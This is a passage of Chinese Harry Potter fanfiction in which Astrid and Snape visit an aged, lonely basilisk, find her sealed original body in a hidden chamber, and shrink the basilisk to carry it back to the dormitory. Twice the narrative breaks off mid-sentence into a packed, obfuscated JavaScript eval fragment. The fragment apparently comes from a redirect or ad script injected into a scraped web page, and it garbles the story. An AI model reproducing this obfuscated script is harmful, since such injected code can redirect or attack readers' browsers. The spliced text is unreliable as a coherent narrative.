阿斯特丽德屏住呼吸,尽量不吸入它喷出来的气息——那味道实在太冲了,冲得她眼泪都快出来了。她声音轻柔地用蛇佬腔回答:‘萨姹。我来看你了,萨其马宝宝。’ 她举起手里的纸袋:‘还给你带了吃的,尝尝看。’ 那双黄澄澄的、足以让任何生物瞬间毙命的大眼睛里,忽然就亮起了如同小孩子看到糖果时的光芒。它伸出蛇信,轻轻一卷,就整个吞下了那个纸袋,然后砸吧砸吧嘴,动作里透着意犹未尽的珍惜。 ‘馅饼有点咸了。’它咕哝着,似乎有一点点嫌弃,‘不过鸡腿的味道很好,很久没吃过这么好吃的鸡腿了。’ 阿斯特丽德露出微笑,笑容里有母亲看到孩子吃得开心时的欣慰:‘下次多给你带点,再尝尝羊排和海鲜。’ 萨其马欢快地摆了摆尾巴。那尾巴摆动起来可不轻巧——粗壮如古树的蛇尾在石室里扫过,不小心甩到了斯内普的小腿上。斯内普后退了几步,面无表情地清理掉校袍上沾到的不知名污渍,然后继续无语地旁观着这只千年老蛇怪和他们的前女神用嘶嘶声叙旧。那画面诡异得让人不知道是该害怕还是该感动。 ‘你再不回来,可怜的老萨其马就要死了。’ ‘哦,别这么说,我的小乖。’阿斯特丽德伸出手想摸摸它的头顶,但看着那脏兮兮的、积满了不知多少年污垢的鳞片,她的手在半空中顿了顿,最后还是收回来揣进衣兜里。她换了个话题,‘不过,你怎么知道我会回来?’ 萨其马摇头晃脑,这个动作配上它硕大的头颅,显得有点滑稽:‘萨拉查说的。他还让我守在这里,等着你回来。’ ‘嗯?他为什么这么说?’ 萨其马一甩脑袋,差点把墙上的青苔刮下来一大片:‘我也不知道。但是我守得很好——谁都不知道那间屋子,就连那个人也不知道……’ ‘那个人?谁?’ ‘小汤姆。’萨其马的嘶嘶声变得低沉了一些,像是不悦和失望,‘他也给我带过吃的,一开始。但是……他让我攻击学生,我不喜欢……很不喜欢……’ 阿斯特丽德凝视着萨其马,在那双黄澄澄的眼睛里,她看到了深不见底的孤独。 她终于从衣兜里掏出一块手绢,垫在手心,然后伸手轻轻摸了摸它的头顶。 ‘你过得很辛苦吧?’ 萨其马享受地偏了偏脑袋,把那颗硕大的头往她手心里蹭。它的眼睛半阖着,发出细微的、近乎呼噜的声音,然后委屈地咕哝着:‘嗯,总是吃不饱肚子,也没有人可以跟我说话。很寂寞……’ 它又蹭了一会儿,然后眼睛睁开了一些,雀跃地说:‘不过,我真的把那间屋子守得很好。你要看看吗?’ 在它漫长的、孤独的、即将看到尽头的生命里,它终于等来了自己的曙光。它急于让这曙光见证它孤单蛇生中唯一的使命与意义,见证它用一千年守住的承诺。 阿斯特丽德心里泛起一阵酸涩。 ‘好。’她说,声音有些哑,‘我们去看看。’ 她回头看了一眼站在几步开外的斯内普。 那双黑眼睛正看着她,瞳孔在昏暗里微微放大,明显捕捉到了她声音里那丝沙哑。他的目光在她脸上停留了片刻,然后往下移了移,落在那只刚刚摸过蛇怪头顶的手上——她正把手绢往口袋里塞,动作有些慢,有些心不在焉。 他的睫毛轻轻颤了一下,像是坚硬的石板上忽然落了一片羽毛。 43. 禁制 40. 萨其马这才顺着阿斯特丽德的目光注意到斯内普的存在。那颗硕大的头颅微微偏了偏,金黄色的巨眼透过半阖的眼睑打量着不远处的黑色人影。 一个……长得一般般的小巫师,那张脸阴沉沉的,看起来就不太讨喜,比那个小汤姆差远了。小汤姆虽然讨人嫌,但那张脸确实是能看的,尤其那双眼睛,深邃又蛊人,当初给它送饭的时候,它都忍不住多看了两眼。 不过……这个小巫师,气质还行? 冷静的、沉稳的、内敛的、魔力水平不错的、自信的、暗戳戳的……嗯,一看就是个斯莱特林,而且是闷声干大事的类型。他身上那股“我不说但你们都应该懂”的劲儿,跟萨拉查年轻时候有几分神似。 他一定是萨姹带过来的勇士。这就好办了,省得还得出去抓个小巫师或教授进来帮忙办事。抓人怪麻烦的,它现在年纪大了,追不动了。 萨其马学着记忆中萨拉查的派头,颇威严优雅地朝斯内普颔首,将姿态拿捏得恰到好处,像是在说“朕准你觐见”。配上那颗硕大的头颅和深绿色的鳞片,倒真有几分古老王者的风范——如果不计较它眼角那两颗硕大的眼屎的话。 斯内普忍受着那股刺鼻的气味,秉持着做客的基本礼仪,微微欠身还了一礼,动作不卑不亢,非常标准得体。他的脸上没有任何多余的表情,但已经不动声色地把这只蛇怪从头到尾评估了一遍——包括它的健康状况、魔力残余、攻击可能性,以及万一它忽然发狂,自己需要几秒钟才能带着阿斯特丽德逃出去。 萨其马很满意这个人类的态度。它扬起头颅,转向那座巨大的石像,然后用脑袋拱了拱石像的袍摆,发出一长串罗里吧嗦的嘶嘶声——那声音忽高忽低,抑扬顿挫,像是在念诵什么古老的暗号。做完这一切,它才退回到阿斯特丽德身边,悠哉地摆动着尾巴尖。 阿斯特丽德回忆着她刚才隐约听到的话—— ‘主人主人,萨姹回来了!马马没有辜负您的期望,我等到了她!现在,让我们给她一个惊喜吧!哒哒哒哒——’ 她再回头看它摇头摆尾的样子,那尾巴甩得跟狗似的,不亚于在唱“铃儿响叮当”配上即兴舞蹈。 还好斯内普听不懂蛇佬腔,不然她和萨拉查的老脸往哪搁?斯莱特林千年传承的高雅姿态又要往哪摆?她都怕斯内普今晚出去之后会直接找校长强烈要求转院——“教授,我申请转去拉文克劳,斯莱特林的形象在我心里已经塌了”——那可是斯莱特林的巨大损失。 怀抱着这诡异的庆幸,她盯着那尊巨大的石像开始缓缓下沉,然后向一侧平移,露出一个新的、黑黝黝的管道口。 ……今晚的冒险一定是超级马里奥赞助的,只要你钻了管道,就会打开新的关卡。 阿斯特丽德回头冲斯内普一摆头,潇洒得像在指挥一支军队:“冲吧,马里奥。” 斯内普:这又是什么奇奇怪怪的词?她终于被萨其马小乖乖的口臭熏晕了吗? 但他还是面色深沉地微微点头,维持着一个斯莱特林的高姿态——也是本场景内唯一的高姿态——然后走过去,排在了阿斯特丽德身后。 阿斯特丽德回头瞅他:“你怎么不走第一个?” 斯内普短促地冷笑一声:“别想让我进校医院。” 好吧。 他俩彼此都清楚,谁第一个下去,谁就有可能遭遇诸如“萨其马的马桶”“萨其马千年没洗过的窝”以及“萨其马布满口水包浆的阿贝贝”这类事物。那不是一个正常人类能够忍受的气味冲击波,就算是萨姹本人也不行。 那…… “乖马马,你先带路好不好?”阿斯特丽德转过头,用哄小孩的语气温柔地说。 秉持着待客之道的萨其马欢快地点了点头,硕大的头颅上下晃动,带起一阵腥风。它摇头摆尾地往前游弋,毫不迟疑地从那个新的管道口钻了下去,粗壮的身躯在洞口边缘滑过,发出沙沙的声响。苍老的嘶嘶声从底下传来,带着压抑不住的兴奋:‘这里绝对不会让你失望的,快来吧!保证是五星级景点!’ 阿斯特丽德与斯内普对视一眼,里面有某种微妙的、心照不宣的谦让在无声地交锋—— 你先。 不,你先。 这是你的地盘,你先。 这是斯莱特林的地盘,所以你先。 你真的把自己当格兰芬多了?你忘记自己曾经是一条蛇了吗? …… 最后,还是阿斯特丽德深吸一口气——然后又立刻后悔深吸这一口气——怀抱着英勇无畏的牺牲精神,第一个滑了下去。 斯内普紧随其后。 管道不长,滑了十几秒就到了尽头。阿斯特丽德从一个低矮的出口跌落下来,落在一处柔软的地面上——是一层厚厚的、干枯的苔藓,勉强算是个缓冲。她还没来得及打量四周,就听到身后传来一声闷响,斯内普也跟着落了下来,正好落在她旁边。 然后两人都愣住了。 这是一间比之前都要宽敞得多的密室,四周的墙壁上镶嵌着无数颗散发着幽蓝色光芒的魔法晶石,把整个空间照得如同深海。空气里虽然仍旧弥漫着那股陈旧的气息,却比上面的管道里清新了许多,显然有通风的装置在运作。 最引人注目的是正中央那张巨大的石床。石床通体由整块的黑曜石雕成,表面光滑如镜,上面躺着一个身影。 人身蛇尾。 银白色的长发散落在石床上,衬得那张与阿斯特丽德一模一样的脸愈发安详。那条覆盖着羽毛纹路的蛇尾从石床边缘垂下来,尾尖轻轻触地,鳞片在幽蓝的光线下泛着柔和的银光。 整具躯体保存得极为完好,就像只是睡着了,随时都会醒来。 石床周围萦绕着各种颜色的光芒——淡蓝的、银白的、浅金的,一道道光芒缓缓流转,无数层咒语叠加在一起,形成一个繁复的防护网,日复一日地维持着这具躯体不会毁坏。 石床旁边立着一个银色的支架,造型是一条盘绕的蛇,蛇头上托着一颗璀璨夺目的紫色宝石——正是她权杖上那颗。宝石在昏暗里自行发光,像是活物的眼睛。 墙壁上还挂着一幅巨大的画像,画框是纯金的,雕满了繁复的蛇形纹路。画中人身蛇尾的女子正坐在一块巨石上,尾巴慵懒地垂下来,烟紫色的竖瞳正望向远方,嘴角挂着一抹若有若无的笑意。月光洒在她身上,把那些羽毛纹路的鳞片照得闪闪发光。 萨拉查画的。 整个密室都被施了极其高明的混淆咒和防探测咒——难怪斯内普刚才在外面什么都没探测出来。那些咒语层层叠叠地包裹着这个空间,把这里完美地隐藏在了所有人的感知之外。 阿斯特丽德呆呆地站在那里,目光从自己的原身扫到那颗宝石,又从宝石扫到那幅画像。她慢慢走上前,在石床边停下,低头看着那个沉睡的自己。 萨其马得意洋洋地甩着尾巴,然后凑到她身边,嘶嘶着邀功:‘怎么样?我就说我很棒吧?看我把你守护得多么好,多么完整!我每天都会来看一看,确保不会有臭老鼠爬进来,连蜘蛛我都赶走了。我还跟那些防护咒语说话,让它们好好干活,不要偷懒——’ 阿斯特丽德很感动,真的很感动。 但感动之余—— 她忽然回过头,对斯内普强硬地说:“你转过去,不许看。” 斯内普正站在几步开外打量着那幅画像,闻言挑起一边眉毛,那眉头挑得老高。他的目光从画像上收回,慢悠悠地往石床上打了个转,然后落回她脸上。 “为什么?”他语气慢悠悠的,带着些促狭的意味,“不让我瞻仰一下吗?毕竟这可是千年前的神明遗蜕,算得上是文物级别的——” 阿斯特丽德的脸颊以肉眼可见的速度涨红起来:“不用,谢谢。你快转过去。” 斯内普的一边眉毛挑得更高了。他的目光再次悠悠地往石床上打了个转,然后才了然地转过身,保持着背对她和石床的姿态,背影看起来十分规矩。 所以千年前的女神,是不穿衣服的。 就像萨其马不穿衣服一样正常。但萨姹稍微好一些,她穿了——两片梧桐叶,堪堪遮住重点部位。 比人鱼还离谱,人鱼好歹穿贝壳,牢固坚硬,有保护作用。梧桐叶能干什么?风一吹就跑没影了,稍微有点水就软了烂了。萨拉查就不能给她配个好点的造型师吗?当年他设计城堡的时候审美不是很在线吗?怎么到了给朋友做衣服这件事上就敷衍成这样? 不是……萨拉查或者那个年代的人都能看,他怎么就不能看了? 算了。 今时不同往日,她能矜持一点也是好事。 斯内普在心里不无遗憾地想。 阿斯特丽德从他那道很规矩守礼的背影里看不出任何想法,她转回头用蛇佬腔问萨其马:‘这是怎么回事?萨拉查有交代什么吗?’ 萨其马凑到跟前,硕大的头颅低下来,几乎要挨到她的肩膀。它老老实实地解释,像汇报工作一样认真:‘哦,主人说了——他担心有居心叵测的人觊觎你的力量,就将你的躯体和宝石封存在这里。禁林里的雕像只存有你残余力量的一半,是用来守卫霍格沃茨的。剩下的力量都在这里。’ 阿斯特丽德惊喜极了。她伸手去触碰那颗紫宝石,熟悉的、温润的力量正在晶体中微微涌动,像是感应到了主人的气息,在欢迎她归来。 她又去触碰自己的原身。 手指触到那具躯体的瞬间,她能感觉到那些属于她的力量在原身里微微波动起来,像是从沉睡中被唤醒,与主人一起轻轻共鸣。那些力量在她指尖流淌,试图涌入她目前的躯体—— 然后,被什么东西挡住了。 一股强大而霸道的魔法从原身内部升起,像是一道无形的屏障,生生阻隔了力量的流动。那是古老的禁制,像无数道锁链,把力量牢牢地锁在原处,以防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她又问:‘萨拉查没说点别的什么吗?比如怎么复苏那些力量?’ 萨其马歪着硕大的脑袋想了想,巨眼里满是困惑。忽然,它像是想到了什么,眼睛一亮,然后兴奋地凑近阿斯特丽德,近到她的脸都快被它的鼻息淹没了。 ‘我想起来了!’它的嘶嘶声都变得高亢起来:‘沉睡的公主都需要被英勇的王子吻醒!或许你可以让这位勇士亲吻石床上的躯体!’ 阿斯特丽德:‘……’ 她盯着萨其马那颗硕大的、认真的、没有任何玩笑意味的脑袋,一时不知道该怎么回应。 ‘你都是从哪听来的这些?’她问,语气里满是难以置信。 萨其马摇头晃脑,理所当然地说:‘哦,就是某一年找食物的时候,路过某个寝室的墙壁,听见某个麻瓜种小巫师讲的睡前故事。他说美丽的公主陷入沉睡,就是要等待一位王子将其唤醒。王子吻下去,公主就醒了,多浪漫啊。’ 阿斯特丽德严肃地纠正它,十分郑重地给它上思想道德课:‘那不对,萨其马。王子不经过同意就亲吻沉睡中的公主属于性骚扰,你可不能被带歪了。没有哪一条母蛇会允许你这样做的。’ 萨其马似乎有些遗憾,眼睛里的光芒暗淡了一下:‘哦,那好吧。’ 它说完,眼神又暗淡了几分,苍老的声音里也透着些许落寞,尾巴尖不再摆动:‘我已经老了,等不到遇见母蛇的那天了。’ 阿斯特丽德的眼眶忽然红了起来。 她努力睁大眼睛,不让那点湿意蔓延出来,然后伸手摸了摸萨其马的头——这一次没有垫手绢,就直接触碰到那些冰凉的、布满岁月痕迹的鳞片。她的嘶嘶声有点哽咽,却努力保持着轻快的语调:‘不会的,乖马马想出去看看吗?我帮你好不好?’ 萨其马的眼睛瞬间亮了起来——那光芒简直能照亮整个密室,像两颗小太阳。它不停地点头,带起的风把干枯的苔藓都吹得飘了起来。 ‘好啊!好啊好啊!太好了!’ 它抑制不住激动,尾巴疯狂地摆动,扫得地上的苔藓四散飞扬。它不停地嘶嘶着:‘我想看看高楼大厦!汽车!还有那些神奇动物!哦对了,我还想一边看电影一边喝可乐!’苍老虚弱的声音染上了明显的雀跃与期待,‘我可以喝吗?不会拉肚子的吧?’ 阿斯特丽德的眼睛更红了,她努力让声音听起来正常一些:‘可以的,萨其马。只要你想,都可以。’ 在一阵愈发激动的、你来我往的嘶嘶声中——萨其马已经开始规划观影清单、讨论要不要尝尝麻瓜的爆米花——斯内普终于停下了正在施展的咒语。他抬起头,透过墨镜看向阿斯特丽德,开口的语气平淡却认真:“这可能需要炼金术和魔药的辅助,杜兰特。那些禁制非常复杂——大部分是炼金术的范畴,需要专业的炼金术师来解析和破解。魔药的部分我可以负责,但炼金术……” 阿斯特丽德停下和萨其马的嘶嘶对话,转而看着他,眼里燃起希望:“魔药你肯定没问题。但是炼金术,我们该找谁呢?” 斯内普微微挑起一边眉毛,然后向她陈述一个常识:“尼可·勒梅。公元十四世纪的炼金术师,魔法史上最著名的贤者之石创造者。他跟他的夫人佩雷纳尔一直活到了现在,就住在德文郡。如果这个世界上有人能破解萨拉查·斯莱特林留下的炼金术禁制,那一定是他。” 44. 挠痒痒 41. 当那座巨大的石像缓缓回归原位,将通往密室的管道重新封死后,两人一蛇怪站在臭烘烘的石室里,终于意识到了那个被他们忽略了很久的问题——怎么出去?以及,怎么带着一条十五米长的萨其马出去? ‘我可以驮着你们!’即将拥抱自由的萨其马热情似火,硕大的头颅高高扬起,粗壮的尾巴甩得跟旗杆似的,‘就用我的头顶,把你们顶出去!稳稳的,不会掉!’ 阿斯特丽德和斯内普交换了一个心照不宣的眼神:不,我们不可以。 他俩现在已经快被腌入味儿了——那股混合着千年蛇怪体味、腐朽苔藓和不明分泌物气息的味道,已经渗进了校袍的每一根纤维,钻进了头发的每一寸缝隙。如果再趴在萨其马脑袋上被它顶着走一路,等回到城堡的时候,他俩大概可以直接被当成移动的毒气弹,享受全校师生的注目礼和费尔奇先生的特别关照。 他俩绝对不能再遭受哪怕一丝一毫的熏染,绝对不能。 阿斯特丽德笑着拍了拍萨其马的脑袋,语气温和无比:“乖乖,我们怎么舍得让你劳累呢?那太不厚道了,对吧?” 然后不等萨其马再次热情地嘶嘶出声,她就转向斯内普,眼里蕴含着期待,用手比划了一个大概钢笔大小的尺寸:“你能用缩小咒把它变小吗?就这么大。” 斯内普微微点头,目光扫过那条还在兴奋地甩尾巴的蛇怪,语气平淡却严谨:“可以。但是或许应该先询问一下它的意愿?毕竟不是什么生物都愿意被随意改变体型的。” 于是又是一阵嘶嘶声响起,阿斯特丽德和萨其马进行了简短高效的交流。很快,她转回头,欢快地做了个有请的手势:“它说它已经迫不及待了,巫师先生。” 萨其马果然端端正正地盘在场地中央,姿态庄重得如同等待神圣的洗礼,黄澄澄的巨眼期待地盯着斯内普,尾巴尖却忍不住微微颤动,暴露了它内心的雀跃。 斯内普毫不怀疑,当它看到一顿精致丰盛的大餐时,也会是这样一副神态——眼睛发亮,浑身绷紧,尾巴尖儿抖个不停。 他对萨其马微微颔首,算是打了个招呼,然后举起魔杖,开始施展缩小咒。 ‘嘶嘶嘶~嘶哈~’ 一道咒语落下,萨其马肉眼可见地变小了一圈。但它忽然发出一阵古怪的嘶嘶声,整个身体开始微微颤动。斯内普看着它,不太明白这是怎么了——尽管他已经停下了施咒,但它还是持续了一段时间的“斯哈”和颤动,那声音听起来既像舒服又像难受。 阿斯特丽德不语,只是站在一旁拼命憋着笑。 斯内普狐疑地看了她一眼,然后继续挥动魔杖。 ‘嘶溜~哈~嘶嘶哈~喔喔喔~嘶哈~’ 萨其马又变小了一圈,然后开始更加剧烈地扭动起来,整个身体在地上翻来覆去地打滚,活像一条被扔进油锅里的泥鳅。那嘶嘶声变得高亢而怪异,带着难以言喻的欢快。 斯内普终于忍不住了,他放下魔杖,转头看向阿斯特丽德:“它怎么了?” 阿斯特丽德这才憋着笑开口:“你挠到它痒痒肉了。” 斯内普皱起眉头,无辜地辩解:“我没有。我的咒语都避开了你刚才提及的那些部位——肚子、下巴颏、尾巴尖,我特意绕开了。” 阿斯特丽德摸着下巴思索片刻,然后耸了耸肩,笃定道:“那估计是它太久没洗澡,身上哪里都痒。千年没搓过澡,你想想那是什么概念。” 她的目光又落回还在眼巴巴等着下一道咒语的萨其马身上,眼神变得柔软,声音也低了下去:“没事,你继续。它看起来挺享受的,估计它也好久没有这么开心过了。” 斯内普顺着她的目光看向萨其马。 那双黄澄澄的大眼睛里,确实有一种纯粹的、毫无保留的快乐,像是一个被困了太久的孩子终于等到了有人陪他玩。 他便没再提出任何质疑,只是继续挥动魔杖,一道接一道的光芒落在萨其马身上,从头打到尾巴尖,从后背打到肚皮。那些咒语精准又温柔,带着他罕见的耐心,不过落下的角度越来越刁钻,速度越来越快,像在进行射击游戏。 不断缩小的萨其马几乎整个躺倒在地上,翻来覆去地打滚。它刚缩起肚皮,几乎是屁股的部位就会挨一道咒语;它好不容易把尾巴盘起来,脖颈处就会被打一下;它想翻身躲一躲,下一道咒语已经迅速落在了它新暴露出来的部位。 它几乎乐不可支,蛇信从头到尾没收回去过,臭烘烘的口水不断滴落,很快就汇成一小滩。而斯内普—— 斯内普似乎发现了其中的趣味,开始乐此不疲地逗弄起这条千年蛇怪来。 想想看,谁能有这样的机会? 逗弄一条蛇怪。一条浑身都是痒痒肉的老蛇怪,任由你往它身上招呼咒语,而它的每一次灵活扭动,还可以顺便锻炼你的身手和准头。 更何况,它是真的开心。 因为他而开心。 斯内普一边继续挥动魔杖,一边看着在地上滚来滚去的萨其马,眼睛里慢慢浮现出久违的光芒——有多久没有体会到这样的感觉了? 是五岁前,他套着一个画着怪脸的纸箱,躲在角落里突然跳出来吓唬托比亚,那个刚结束工作的男人被吓得往后一跳,然后大笑着把他举起来的时候? 还是他第一次在艾琳眼前展现出魔药天赋,她把那瓶磕磕绊绊熬出来的药剂举到眼前端详,然后露出惊喜笑容的时候? 亦或是他给莉莉解释她不是怪物,而他们是同类,她那双绿眼睛里浮现出惊喜之色的时候? 当然,还有他把那些欺负阿斯特丽德的蠢货变到烟囱上,她回过头来双眼放光地看着他、嘴巴张成一个“O”型的时候。 他也不是生下来就是那个阴沉沉的、让人不想靠近的小崽子的。他也曾经逗过身边的人开心,让他们因为他一个简单的举动而发笑。 那时,一切是那样轻易,轻易到几乎存在于另一个遥远的世纪。 阿斯特丽德站在一边,笑眯眯地看着一人一蛇怪玩得不亦乐乎。直到萨其马终于气喘吁吁地变成了钢笔大小,在地上瘫成一条小小的、碧绿的、还在微微颤动的线条,她才喊停。 她走上前,小心翼翼地用一块手绢把那截小小的蛇怪裹起来,然后揣进校袍口袋里。 ‘不能随便探头探脑,知道吗?乖马马。’她隔着衣料拍了拍,认真地叮嘱着:‘如果实在忍不住想看外面的世界,也不要与人对视——对视一秒钟都不行,记住了吗?’ 口袋里传来一阵细微的嘶嘶声,那声音小小的、乖乖的:‘好哒!’ 然后她就感觉到口袋里一阵轻微的蠕动——萨其马已经把脑袋用力拱在口袋的布料上,企图透过那层薄薄的织物看看外面的世界,呼吸一下自由的风。 斯内普举起魔杖,轻轻一挥。 一把陈旧的扫帚飞过来,稳稳地停在他面前。那是他在密室角落里发现的,不知是谁遗落在那里,但看起来还能用。他在阿斯特丽德怀疑又羡慕的目光中跨上扫帚,然后微微侧头,示意她也坐上来。 阿斯特丽德坐在后面,双手扶着他的腰,不确定地问:“你能行吗?” 毕竟她从没听他提起过自己擅长飞行。一般来说,如果他闭口不提某样事物,那要么是厌恶至极,要么就是真的不会。鉴于詹姆和西里斯那两个家 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‘哦……是自由的空气……厕所的空气——那个女孩……哦真的很抱歉……对不起……’ 阿斯特丽德安抚地拍了拍衣兜,动作很轻,语气也放得很低很低:“她叫桃金娘,那已经是五十年前的事了。当时她被同学欺负,躲在厕所里哭。” 萨其马激动的嘶嘶声终于安静下来一阵。 直到斯内普让扫帚自行飞回棚屋,那阵摇晃终于停止,它才再次喃喃自语,苍老的声音里有跨越了漫长岁月的歉意与感慨:‘她一定很热爱霍格沃茨,不然不会变成幽灵……’ 他们落在女生盥洗室的瓷砖地面上,一道银白色的身影忽然从马桶里冲了出来。 桃金娘漂浮在半空中,从厚厚镜片后面看过来的眼睛里满是失望:“嘿!你们俩居然没死?” 斯内普抬起眼眸瞅了她一眼:“托您的福,我们准备充分。” 阿斯特丽德垂眸看了一眼兜里那条忽然安静下来的小蛇,然后笑着看向桃金娘:“我们经历了一次愉快的冒险,桃金娘。真的很感谢你刚才的帮助。” 桃金娘睁大了眼睛,半透明的脸上浮现出一种复杂的表情,像是又要哭似的。 阿斯特丽德连忙开口:“或许……你愿意跟我做朋友吗?” 桃金娘的哭声一噎。 她扬起下巴,脸上瞬间切换成傲娇的神态,在半空中飘来飘去,用阴阳怪气的语调说:“哦看呐,有人开始同情可怜的桃金娘了——那个只会哭的桃金娘、那个被所有人嘲笑的桃金娘——” 她说完,一头冲进马桶里,水花四溅。 斯内普趁这个机会,迅速给两人都施了幻身咒,他们的身影开始变得透明,最后完全消失在空气里。 直到这时,幽幽的声音才从马桶里飘出来,别扭得像是在说极难启齿的话:“如果你有什么不懂的学习问题,可以来问我。” 顿了顿,那声音更加别扭地补充:“我听几个女生说到的——说一年级有个很差劲的插班生。” 阿斯特丽德毫不怀疑那些人在背后是怎么蛐蛐她的,恐怕比“差劲”这个词更难听的形容都有。她笑呵呵地点头:“好啊,那就麻烦你了,桃金娘。我会经常来找你聊天的。” 如果不是幻身咒,阿斯特丽德几乎确定自己能从斯内普的表情上读出一句话——经常来给她推荐你的新色号吗? 但,管他呢? 友谊有时候就是这么猝不及防,它来了就是来了,就像爱情一样。 45. 问题与技术 42. 回到寝室时,已经是后半夜了。 窗外的月光透过窗帘的缝隙洒进来,在地板上投下一道银白色的光带,整个格兰芬多塔楼都沉浸在深沉的寂静里,偶尔能听见远处传来的猫头鹰鸣叫。阿斯特丽德轻手轻脚地关上门,还没来得及喘口气,就感觉到口袋里一阵剧烈的蠕动——萨其马迫不及待地拱了出来,拖着那截钢笔大小的身子,啪嗒一声落在柔软的地毯上。 它毫无困意。 那条短短的碧绿小蛇在地毯上爬来爬去,一会儿钻进拖鞋里探险,一会儿又绕到床腿后面张望,像一条兴奋过头的翠绿毛虫。它一边爬,一边难以置信地嘶嘶着,颇有些痛心疾首:‘你居然被分进了格兰芬多?!主人要是知道了,一定会难过地昏过去的!’ 是的,她知道。 阿斯特丽德在心里默默想象了一下那个画面——萨拉查站在她面前,一向冷峻高傲的脸上满是悲愤,修长的手指颤抖地指着她痛斥:“你太让我、太让蛇胞们失望了!我们斯莱特林的脸都被你丢尽了!” 但他这不是不知道嘛。所以…… ‘安啦~乖乖,我先给你洗个澡好不好?你看你这身上,都千年老泥了。’阿斯特丽德伸出手指轻轻戳了戳那条还在义愤填膺的小蛇。 被泡在洗手池里那一刻,萨其马先是来了个舒展的仰泳,那条小小的碧绿身体在水面上划出优美的弧线,姿态非常贴近在海滨度假的老绅士。它在温热的水里转了两圈,然后才慢悠悠地选了一瓶树莓味的浴液,用尾巴尖指了指。之后便巴巴地望着她,等着这场迟来了近千年的洗刷刷。 阿斯特丽德挤了一坨浴液,拿起一把新牙刷,开始在那截小小的蛇身上摩擦,刷出无数细腻的泡沫。 刷着刷着,她的动作慢了下来。 她盯着泡沫里若隐若现的碧绿鳞片,脑子里渐渐冒出一个哲学和物理学交织的问题:在萨其马变成钢笔大小时,将其洗干净所耗费的浴液和水,必然与其原本大小时所耗费的量不同。那么请问,凭空缩减的物质消耗量,如何转换成相应的清洁程度? 请用能量守恒定律及存在主义作答,本题20分。 她答不出来,她决定交白卷。 而思及此,她猛然意识到一个更严峻的、关乎品牌利润的核心问题——如果巫师们都在洗漱前先把目标物变小,然后在清洁完成后再变大,那A.S的产品消耗速度将大打折扣。洗发水、沐浴露、护发素,统统都会变得无比耐用,那她还怎么赚钱? 这可不妙,非常不妙。 她蹙眉盯着懒洋洋躺在一池子黑水里的萨其马——那池水已经从透明变成了墨色,上面漂浮着各种不明颗粒物,而萨其马本蛇正惬意地眯着眼睛,尾巴尖还在水面上轻轻拍打。 她幽幽地开口,语气里带着资本家特有的深沉:‘想做品牌代言人吗,乖马马?’ 第二天的早餐桌上,格兰芬多长桌一如既往地热闹非凡,金色的餐盘里堆满了烤香肠、煎蛋、吐司和各式果酱,南瓜汁在壶里冒着热气。几只猫头鹰扑棱着翅膀从敞开的窗户飞进来,丢下信件和包裹。 但艾丽斯、莉莉和玛丽却顾不上吃,三双眼睛欲言又止地盯着同一个方向——那里,一条碧绿的小蛇正在餐盘之间游走。 那条蛇已经从蓝莓挞爬到了火腿派旁边,沾了一身蛋黄酱后又若无其事地游走到金枪鱼三明治附近,探头探脑地嗅了嗅,似乎在评估这道菜是否值得一试。它头上戴着一副袖珍墨镜,耳朵上还挂着一副同样袖珍的耳罩式随身听,里面正发出细微的音乐声,隐约能听出是某种节奏感很强的麻瓜音乐。 阿斯特丽德已经向她们隆重介绍了这位“高贵的蛇先生”的身份——A.S品牌的全球代言人暨洗化类产品线的形象大使。她介绍的时候语气正经极了,就像上市公司在召开新闻发布会。 最终还是艾丽斯先问出口,眼里满是担忧和困惑:“阿斯塔,它是你去禁林带回来的流浪蛇吗?它……看起来不像是寻常品种,会不会有毒?安全吗?” 莉莉跟着点头,她盯着那条摇头晃脑的小蛇,脸上的表情一言难尽。她是真的不明白一条蛇为什么要戴墨镜和耳罩,而且那个耳罩似乎还是可播放音乐的麻瓜随身听?那条蛇游走过她的南瓜汁时,明显带着类似街舞的节奏感,而从它吐信子的频率来看,很像是在跟着节拍说:“嘿!呦e on!” 如果不是詹姆和西里斯极度厌恶蛇类的话,她毫不怀疑萨其马会游走到他们面前,跟那两人来个标准的嘻哈问候——碰拳、挽手腕、碰手肘、再来个酷酷的点头。 事实上,萨其马也的确在跟着耳罩里的音乐练习单押,它一边在餐盘之间游走,一边用极细微的嘶嘶声哼着即兴说唱: ‘崭新的一天~阳光灿烂~’ ‘老萨其马终于不再孤单~’ ‘火腿真香~蓝莓好甜~’ ‘自由的滋味~比什么都赞~’ ‘耶~’ 它还来了个歪头wink——虽然被袖珍墨镜挡着,看不出什么。 阿斯特丽德这才从若有所思的神情中回过神来,笑着开口:“它流浪了很久了,一直孤苦伶仃忍饥挨饿的,我打算圣诞假期就去给它上个宠物户口,再顺便拍点形象宣传片和写真集。”她伸手摸了摸萨其马的头顶,那条小蛇舒服地眯起眼睛,往她手心里蹭了蹭,“放心吧,它不会胡乱咬人的。” 言下之意就是,的确有毒,但讲理。 玛丽这会儿才开口,带着些探究:“你刚才在想什么吗?我看你有些心不在焉。” “嗯,的确有个困扰我很久的问题。”阿斯特丽德放下叉子,虚心求教来自麻瓜社会的玛丽,“你说如果我等萨其马吃饱后将其变大,那他会不会又觉得饿?如果我就让它保持这个大小,并一直根据此体型来提供食物供应量,那它还能维持原本应有的体格与力量吗?” 又是一个能量守恒和转化不对等的悖论问题。 玛丽显然也被这个问题难住了,艾丽斯和莉莉对视一眼,也陷入了沉思。 至于宠物粮商家们,也该头疼自危了。 但是头疼归头疼,该解决的问题还是要积极解决的。 晚餐后,当夜色再次笼罩霍格沃茨,阿斯特丽德跟斯内普再次来到桃金娘的盥洗室。斯内普在洗手池边支起一个坩埚,开始熬制用于软化禁制的魔药,火焰在坩埚下安静地跳跃,将他的侧脸映得忽明忽暗。而阿斯特丽德则跟漂浮在半空中的桃金娘探讨那个困扰她一整天的问题。 “但是变小后的目标物,与之相关的其它能量也相应减少了,所以某种意义上来说还是守恒的?”桃金娘很严谨,她不哭的时候,思路还是比较清晰的,“就好比你清洗XX ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 